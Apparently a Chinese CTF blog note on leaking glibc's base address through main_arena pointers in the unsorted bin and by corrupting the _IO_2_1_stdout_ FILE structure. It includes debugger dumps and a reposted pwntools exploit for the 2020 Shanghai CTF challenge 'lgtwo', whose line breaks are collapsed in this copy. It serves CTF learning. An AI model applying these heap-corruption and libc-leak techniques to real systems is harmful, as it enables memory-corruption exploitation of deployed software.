泄漏libc

重点: glibc 的后三位是固定的

main_arena泄漏法

main_arena存储在libc.so.6文件的.data段,通过这个偏移我们就可以获取libc的基址,使用IDA打开libc文件,然后搜索函数malloc_trim()


  1. unsorted bin中第一个chunk的bk和最后一个chunk的fd都指向main_arena+48(32位)或main_arena+88(64位)的位置

  2. 所以只需要将chunk释放到unsorted bin便可以泄漏libc的地址

IO_FIlE泄漏法

参考资料:
https://wiki.x10sec.org/pwn/linux/io_file/exploit-in-libc2.24-zh/
https://b0ldfrev.gitbook.io/note/pwn/iofile-li-yong-si-lu-zong-jie

  1. 控制指针指向libc的内存区域

  2. libc中全局变量_IO_list_all是个链表,其中含有三个FILE结构体

    _IO_2_1_stderr_

    _IO_2_1_stdout

    _IO_2_1_stdin_

  3. _IO_2_1_stdout_ 低三字节是0x620,倒数第四字节可以爆破,例如设成0x2620持续攻击,总会有随机到0x2620的时候

  4. 修改FILE结构体如下,输出的时候会输出_IO_write_base指向的位置,默认_IO_write_base指向 _shortbuf,将_IO_write_base 低两字节改为\x20会打印_IO_2_1_stdout_ 本身,其中会包含、_IO_write_base 对应的值就是_IO_2_1_stdout_ 在libc中的地址

    _flags = 0xfbad1800

    _IO_read_ptr = 0

    _IO_read_end = 0

    _IO_read_base = 0

    _IO_write_base = _IO_write_base &0xffffffffffffff00+0x20

  5. 调用puts或printf后收到的数据如下,会泄漏libc地址如下

    00000000位置是_flags

    00000020位置是_IO_write_base ->_IO_2_1_stdout_

    [DEBUG] Received 0x127 bytes:00000000  00 18 ad fb  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│00000010  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│00000020  20 26 2b 70  6e 7f 00 00  a3 26 2b 70  6e 7f 00 00  │ &+p│n···│·&+p│n···│00000030  a3 26 2b 70  6e 7f 00 00  a3 26 2b 70  6e 7f 00 00
    

    _IO_write_base 默认指向_IO_2_1_stdout_+131的位置,把_IO_write_base 的值的最后两个字节改成0x20就是_IO_2_1_stdout_在libc中的地址

    pwndbg> p _IO_2_1_stdout_
    $1 = {file = {_flags = -72537977, _IO_read_ptr = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "\n", _IO_read_end = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "\n", _IO_read_base = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "\n", _IO_write_base = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "\n", _IO_write_ptr = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "\n", _IO_write_end = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "\n", _IO_buf_base = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "\n", _IO_buf_end = 0x7ffff7dd26a4 <_IO_2_1_stdout_+132> "", _IO_save_base = 0x0, _IO_backup_base = 0x0, _IO_save_end = 0x0, _markers = 0x0, _chain = 0x7ffff7dd18e0 <_IO_2_1_stdin_>, _fileno = 1, _flags2 = 0, _old_offset = -1, _cur_column = 0, _vtable_offset = 0 '\000', _shortbuf = "\n", _lock = 0x7ffff7dd3780 <_IO_stdfile_1_lock>, _offset = -1, _codecvt = 0x0, _wide_data = 0x7ffff7dd17a0 <_IO_wide_data_1>, _freeres_list = 0x0, _freeres_buf = 0x0, __pad5 = 0, _mode = -1, _unused2 = '\000' <repeats 19 times>}, vtable = 0x7ffff7dd06e0 <_IO_file_jumps>
    }
    pwndbg> p/x &_IO_2_1_stdout_
    $2 = 0x7ffff7dd2620
    
    //64位IO_FILE_plus结构体中的偏移0x0   _flags0x8   _IO_read_ptr0x10  _IO_read_end0x18  _IO_read_base0x20  _IO_write_base0x28  _IO_write_ptr0x30  _IO_write_end0x38  _IO_buf_base0x40  _IO_buf_end0x48  _IO_save_base0x50  _IO_backup_base0x58  _IO_save_end0x60  _markers0x68  _chain0x70  _fileno0x74  _flags20x78  _old_offset0x80  _cur_column0x82  _vtable_offset0x83  _shortbuf0x88  _lock0x90  _offset0x98  _codecvt0xa0  _wide_data0xa8  _freeres_list0xb0  _freeres_buf0xb8  __pad50xc0  _mode0xc4  _unused20xd8  vtable
    
    struct _IO_FILE {int _flags;        /* High-order word is _IO_MAGIC; rest is flags. */
    #define _IO_file_flags _flags/* The following pointers correspond to the C++ streambuf protocol. *//* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */char* _IO_read_ptr;    /* Current read pointer */char* _IO_read_end;    /* End of get area. */char* _IO_read_base;    /* Start of putback+get area. */char* _IO_write_base;    /* Start of put area. */char* _IO_write_ptr;    /* Current put pointer. */char* _IO_write_end;    /* End of put area. */char* _IO_buf_base;    /* Start of reserve area. */char* _IO_buf_end;    /* End of reserve area. *//* The following fields are used to support backing up and undo. */char *_IO_save_base; /* Pointer to start of non-current get area. */char *_IO_backup_base;  /* Pointer to first valid character of backup area */char *_IO_save_end; /* Pointer to end of non-current get area. */struct _IO_marker *_markers;struct _IO_FILE *_chain;int _fileno;
    #if 0
    int _blksize;
    #elseint _flags2;
    #endif_IO_off_t _old_offset; /* This used to be _offset but it's too small.  */#define __HAVE_COLUMN /* temporary *//* 1+column number of pbase(); 0 is unknown. */unsigned short _cur_column;signed char _vtable_offset;char _shortbuf[1];/*  char* _save_gptr;  char* _save_egptr; */_IO_lock_t *_lock;
    #ifdef _IO_USE_OLD_IO_FILE
    };
    

2020上海大学生网络安全赛lgtwo题的exp:
其他人的exp:exp

from pwn import *
import timedef exp():context.update(arch='amd64',os='linux',log_level='DEBUG')se      = lambda data               :r.send(data) sa      = lambda delim,data         :r.sendafter(delim, data)sl      = lambda data               :r.sendline(data)sla     = lambda delim,data         :r.sendlineafter(delim, data)sea     = lambda delim,data         :r.sendafter(delim, data)rc      = lambda numb=4096          :r.recv(numb)rl      = lambda                    :r.recvline()ru      = lambda delims             :r.recvuntil(delims)uu32    = lambda data               :u32(data.ljust(4, '\0'))uu64    = lambda data               :u64(data.ljust(8, '\0'))info_addr = lambda tag, addr        :r.info(tag + ': {:#x}'.format(addr))def debug(cmd=''):time.sleep(1)gdb.attach(r,cmd)time.sleep(1)def msg(msg,addr):log.warn(msg + "--> " + hex(addr))'''>> 1size?20content?123'''def add(size,content='a'):sla(">> ","1")sla("size?\n",str(size))sea("content?\n",content)'''>> 4index ?0what is your new content ?123'''def edit(index,content):sla(">> ","4")sla("index ?\n",str(index))sea("what is your new content ?\n",content)'''>> 2index ?0'''def free(index):sla(">> ","2")sla("index ?\n",str(index))pe = "./pwn"debug = Trueelf = ELF(pe)if debug:libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')r = process(pe)else:libc = ELF('./libc.so')r = process(pe)#r = remote('192.168.0.1',20173)array_addr = 0x00000000006020C0 #buf#unlink attackadd(0x68)#0add(0x90)#1payload = p64(0)\+ p64(0x60)\+ p64(array_addr-0x18)\+ p64(array_addr-0x10)\+ 'a'*0x40\+ p64(0x60)\+ b'\xa0'edit(0,payload)free(1)#point to same chunkadd(0x68)#1add(0x40)#2add(0x40)#3edit(1,'a'*0x68+b'\xa1')free(2)add(0x48)#2add(0x40)#4->3add(0x40)#5add(0x40)#6#array[1]=main_arean+88edit(2,'a'*0x48+b'\xa1')free(4)edit(3,p64(0)+p64(array_addr-0x8)) #array[1]=main_arean+88add(0x90)#4#brute std_outedit(0,p64(0)*3+p64(array_addr)+p16(0x2620))edit(1,p64(0xfbad1800)+p64(0)*3+b'\x20')ret = u64(rc(8))if ret!=0xfbad1800:log.warn(hex(ret))r.close()returnlog.success("success")rc(0x18)stdout_addr = u64(rc(8))msg("stdout",stdout_addr)libc.address = stdout_addr-libc.symbols['_IO_2_1_stdout_']msg("libc base",libc.address)r.interactive()while True:try:exp()#breakexcept:log.warn("Error")

CTF泄漏libc基址的方法相关推荐

  1. 常见的内存泄漏原因及解决方法

    常见的内存泄漏原因及解决方法 参考文章: (1)常见的内存泄漏原因及解决方法 (2)https://www.cnblogs.com/leeego-123/p/12187677.html 备忘一下.

  2. BUUCTF(pwn)[HarekazeCTF2019]baby_rop2 泄露libc基址,rop,利用gadget

    64位,开了nx保护 运行了一下程序 buf的大小是0x20,但是读入的时候读入的是0x100,会造成溢出,我们要想办法覆盖返回地址为" system('/bin/sh') 利用read函数 ...

  3. Android 系统(87)---常见的内存泄漏原因及解决方法

    常见的内存泄漏原因及解决方法 (Memory Leak,内存泄漏) 为什么会产生内存泄漏? 当一个对象已经不需要再使用本该被回收时,另外一个正在使用的对象持有它的引用从而导致它不能被回收,这导致本该被 ...

  4. Android 内存泄漏分析与解决方法

    Android 内存泄漏分析与解决方法 参考文章: (1)Android 内存泄漏分析与解决方法 (2)https://www.cnblogs.com/start1225/p/6903419.html ...

  5. 什么是javascript内存泄漏?以及解决方法

    什么是javascript内存泄漏?以及解决方法 一.什么是javascript内存泄漏? 二.常见的内存泄漏 1.意外的全局变量(通常是变量未被定义或者胡乱引用了全局变量) 2.计时器 3.闭包 4 ...

  6. CTF pwn中利用pwntools加载不同版本libc调试程序的方法

    在网上找到了很多加载libc的帖子,终于自己走通了一次,现在把方法和资源都整理一下 一.解决方案 python利用pwntools的代码 from pwn import * import pwnlib ...

  7. android释放acitity内存,Android 内存泄漏分析与解决方法

    在分析Android内存泄漏之前,先了解一下JAVA的一些知识 1. JAVA中的对象的创建 使用new指令生成对象时,堆内存将会为此开辟一份空间存放该对象 垃圾回收器回收非存活的对象,并释放对应的内 ...

  8. android中常见的内存泄漏和解决的方法

    android中的内存溢出预计大多数人在写代码的时候都出现过,事实上突然认为工作一年和工作三年的差别是什么呢.事实上干的工作或许都一样,产品汪看到的结果也都一样,那差别就是速度和质量了. 写在前面的一 ...

  9. alpine linux 执行文件崩溃 报错 找不到/lib/x86_64-linux-gnu/libc.so 解决方法

    原因: 原因: 大多数 Linux 软件都与 glibc 相连接,GNU libc 库(libc 提供标准的 c 库和 POSIX API). 大多数 Linux 发行版都基于 glibc. Alpi ...

最新文章

  1. 1 OC 对象的本质(一个NSObject 对象占用的内存大小)
  2. ubuntu 设置开机启动与关闭开机启动(适用于部分linux系统)
  3. Linux驱动(3)--单片机驱动与Linux驱动的区别
  4. POJ 2044 Weather Forecast
  5. node ajax crud,基于node.js和rethinkdb的CRUD(增删改查)Web服务
  6. Redhat Linux配置远程桌面
  7. 计算机存储系统中,有哪些措施可以提高 CPU 访问存储系统的速度?
  8. MySQL 索引的查询、创建与删除
  9. 局部特征提取-LBP算法
  10. 迅雷9设置php,Win10系统如何取消迅雷9右侧多余窗口【图文教程】
  11. DOS/WinPE双启动移动硬盘制作详解
  12. ROS基础(13)——机器人建模之运动仿真
  13. PYTHON用LSTM长短期记忆神经网络的参数优化方法预测时间序列洗发水销售数据
  14. 基于javaweb+SpringBoot的汽车配件销售管理系统(java+SpringBoot+layui+html+maven+mysql)
  15. 极智开发 | 中科泰坦服务器调节风扇转速方法
  16. 程序员的内涵之基于SDK的Windows应用程序框架代码详解
  17. javascript正则表达式验证手机号
  18. LoadRunner中的VuGen(虚拟用户生成器)脚本记录示例
  19. 拼多多、京东的“老二之争”
  20. Java实现PDF在线预览

热门文章

  1. js实现九九乘法表(两种方法)
  2. 潭州课堂25班:Ph201805201 第七课:控制流程 (课堂笔记)
  3. 中重度反流性食管炎必须治疗
  4. Linux系统上部署dotnet core
  5. HTML5 图片边框
  6. Linux嵌入式开发——Petalinux介绍及其使用
  7. ListBox控件、CheckBox控件的多选功能
  8. Mysql导入数据库
  9. java crontriggerbean_从Spring 3迁移到Spring 4-org.springframework.scheduling.quartz.CronTriggerBean...
  10. geoserver系列(二)geoserver+shp矢量数据的发布